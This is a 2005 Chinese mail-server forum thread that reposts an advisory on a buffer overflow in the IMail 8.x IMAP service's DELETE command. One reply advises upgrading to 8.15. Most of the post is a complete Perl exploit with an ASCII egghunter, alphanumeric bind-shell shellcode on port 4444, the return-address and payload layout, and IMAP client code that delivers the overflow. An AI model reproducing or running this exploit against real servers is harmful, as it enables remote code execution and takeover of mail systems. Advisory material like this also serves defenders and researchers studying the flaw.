邮件服务器-邮件系统-邮件技术论坛(BBS)
标题:
[求助]IMail IMAP Service DELETE 命令溢出漏洞
[打印本页]
作者:
flyinweb
时间:
2005-2-27 22:58
标题:
[求助]IMail IMAP Service DELETE 命令溢出漏洞
IMail IMAP Service DELETE 命令溢出漏洞<br>
<br>
发布时间:2004-11-13<br>
更新时间:2004-11-17<br>
严重程度:高<br>
威胁程度:远程管理员权限<br>
错误类型:边界检查错误<br>
利用方式:客户机模式<br>
<br>
受影响系统<br>
IMail Server 8.x<br>
详细描述<br>
Muts 在 IMail Server 中发现一个安全漏洞, 能被恶意用户利用威胁到系统的安全。<br>
<br>
这个漏洞的成因是由于IMAP service ("IMAP4D32.exe") 在处理 "DELETE" 命令时没有进行边界检查. 如果用户提交"DELETE"命令时附带超长的参数,(约 300 字节) 将导致缓冲区溢出。<br>
<br>
成功利用者可以执行任意代码。<br>
<br>
这个风险在 IMAIL 8.13 版本中发现,其它版本可能也受影响。<br>
<br>
测试代码<br>
<br>
#!/usr/bin/perl -w<br>
###################################<br>
#<br>
# IPSwitch-IMail-8.13-DELETE<br>
#<br>
# Discovered by : Muts<br>
# Coded by : Zatlander<br>
# WWW.WHITEHAT.CO.IL<br>
#<br>
##################################<br>
#<br>
# Plain vanilla stack overflow in the DELETE command<br>
# Restrictions:<br>
# - Need valid authentication credentials<br>
# - Input buffer only allows characters between x20 -> x7e<br>
#<br>
# Credits:<br>
# - <a target=_blank href=http://www.metasploit.org>http://www.metasploit.org</a> - HD Moore for the metasploit shellcode<br>
# - <a target=_blank href=http://www.edup.tudelft.nl/~bjwever/menu.html>http://www.edup.tudelft.nl/~bjwever/menu.html</a> - skylined for the ALPHA ascii \<br>
shellcode generator # - <a target=_blank href=http://www.hick.org>http://www.hick.org</a> - for the syscall egghunt code in the \<br>
paper "Understanding Windows Shellcode" #<br>
##################################<br>
<br>
use IO::Socket;<br>
use Getopt::Std;<br>
use Mail::IMAPClient;<br>
<br>
print "Exploit for the IPSwitch IMail DELETE buffer overflow\n";<br>
print "C0d3d by Zatlander\n";<br>
print "Discovered by Muts\n";<br>
print "WWW.WHITEHAT.CO.IL\n";<br>
print "For hacking purposes only!!!\n\n";<br>
<br>
# Find shellcode with signature "w00tw00t"; start from esp<br>
# from 0 -> $egghunter = \<br>
"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIVSyBUco0OKbWdp00ptH0uXqRnkHH2a3PL \<br>
Mvtvqzm6NulfePabTiaxbycrb09Gjt5xkTySjeTsEzFmSo2eXyoKRA"; $egghunter = \<br>
"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINkN44skpmkt7fPTpptx0UXpBLKkx1Q3PL \<br>
MtT4QxMVN5lc5sQSDxqyrjSW2VYUJRUXkp9SjVdT5KVosKrWxioKRA";<br>
<br>
# Real shellcode: bind shell on port 4444 ( ./alpha edx < shellcode.bin )<br>
$shellcode = "JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLjH2vUP7puPQCQEV6aGn \<br>
kbLWT28NkpEWLlKpT35QhgqKZlKPJvxLKQJWPuQXkKSdrSyLKgDLKuQJNVQ9okLP1KpLlP8kPBT7wyQXOVmvah \<br>
GZKl25kSLwTGdqeKQlK2zUts1jKSVnktL0KNkaJWlUQxkLK7tnkUQM8zKgrVQYP1OqNQMQKkreXWpSnSZp03i1 \<br>
tlKGilKSkvlLKQK5Lnk7kLKckTH0SSXLNpN6nJLKOJvK9IWK1ZLuPfawps0Rwv63cMYiuJHDguPuPS0Np7qWp7 \<br>
pnV6ywhYwMttYt0Yym5QYK62inDvzd0Kwy4nMDniyXYUYkENMHKxmylgKpWPSVRSovS4ruPckLMpKupRqKOYGK \<br>
9YOoyKsLMBUTTRJs7Ryv1RsYoTtNokOv534pYk9dDNnyrxrtkgWPTKOtwIoRutpfQkp2ppPrpF0spPPaPv09oR \<br>
uFLniYWuaYKScpSe86bC07a3lmYIpSZVpRpQGyoruQ4QCF7kOv5thBsSdSgIoRuUpNiYWPhpCRmStwpoyXcLGy \<br>
jDqIPnmQlQ4NLaz7e69zSlkNgJZosXlPTkvQT7TTP1TQvYWpDWTul5QUQLIcLTdRhK9SLQ4RlmY1letPPLMSt5 \<br>
tFpqDrppQRqCaSqSa2iBqRqRspQKO45uPbH0rKNNS4VKOpU5TyoXPLIyvKO45S0QxnMN9fexNYov5S4oyHCbJK \<br>
OKOTvkOzsyorU30BHl0MZfdaOkORu7tFQyKPSIo8PA";<br>
<br>
getopts("h:u:p:", \%args);<br>
<br>
if ((!defined $args{h}) || (!defined $args{u}) || (!defined $args{p})) {<br>print "Usage: $0 -h [host] -u [username] -p [password]\n";<br>exit;}<br>
<br>
$usr = $args{u};<br>
$pwd = $args{p};<br>
$host = $args{h};<br>
<br>
# jb +20; jnb +20 -> jump over return address (0x21 is first ascii safe offset)<br>
$jmp21 = "r!s!";<br>
<br>
# 0x6921526A -> pointer to "CALL [EDX+8]" ends up in return address<br>
##########################################################################<br>
# This should hopefully be the only version dependent variable here.<br>
# Find an ASCII safe address pointing to a CALL [EDX+8] for your OS<br>
##########################################################################<br>
$calledx8 = "jR!i";<br>
<br>
# aAA aligns ESP with the egghunter shellcode (popad, pop, pop)<br>
$asciieh = "aAA" . $egghunter;<br>
$asciisc = "w00tw00t" . $shellcode;<br>
$email =<br>"From: \"The guy hacking you\" <a\@b.com>\r\n" .<br>"To: \"Poor You\" <b\@c.com>\r\n" .<br>"Subject: $asciisc\r\n" .<br>"Date: Wed, 3 Nov 2004 14:45:11 +0100\r\n" .<br>"Message-ID: <000101c4c1acdcndj6d69b90$5e01a8c0\@snorlax>\r\n" .<br>"Content-Type: text/plain;\r\n\tcharset=\"us-ascii\"\r\n" .<br>"Content-Transfer-Encoding: 7bit\r\n" .<br>"\r\n" .<br>$asciisc;<br>
<br>
$payload = "A" x 236 . $jmp21 x 3 . $calledx8 . "S" x 29 . $asciieh . "\r\n";<br>
<br>
print "Login in to $host as $usr/$pwd\n";<br>
my $imap = Mail::IMAPClient->new( Server => $host, User => $usr, Password=> $pwd) or \<br>
die "Cannot connect: $@"; print "count: " . $imap->message_count("Inbox") . "\n";<br>
print "Sending EGG\n";<br>
$imap->select("Inbox") or die "Could not select: $@\n";<br>
my $uid = $imap->append( "Inbox", $email ) or die "Cannot append: $@";<br>
$msg = $imap->message_string($uid) or die "Cannot get message: $@";<br>
#$msg = $imap->body_string($uid) or die "Cannot get message: $@"; <br>
#print "retrieving $uid back: $msg\n";<br>
<br>
print "Overflowing DELETE\n";<br>
$imap->delete($payload) or die "Cannot delete: $@n";<br>
<br>
print("Finished...\n");<br>
<br>
<br>
解决方案<br>
限制使用或暂时停用Imail Server<br>
<br>
相关信息<br>
<a target=_blank href=http://secunia.com/advisories/13200/>http://secunia.com/advisories/13200/</a><br>
<br>
<br>
如何实现及防范?
作者:
钉子
时间:
2005-2-28 11:22
标题:
re:请升级到8.15版本。
请升级到8.15版本。
欢迎光临 邮件服务器-邮件系统-邮件技术论坛(BBS) (http://bbs.5dmail.cn/)
Powered by Discuz! X3.2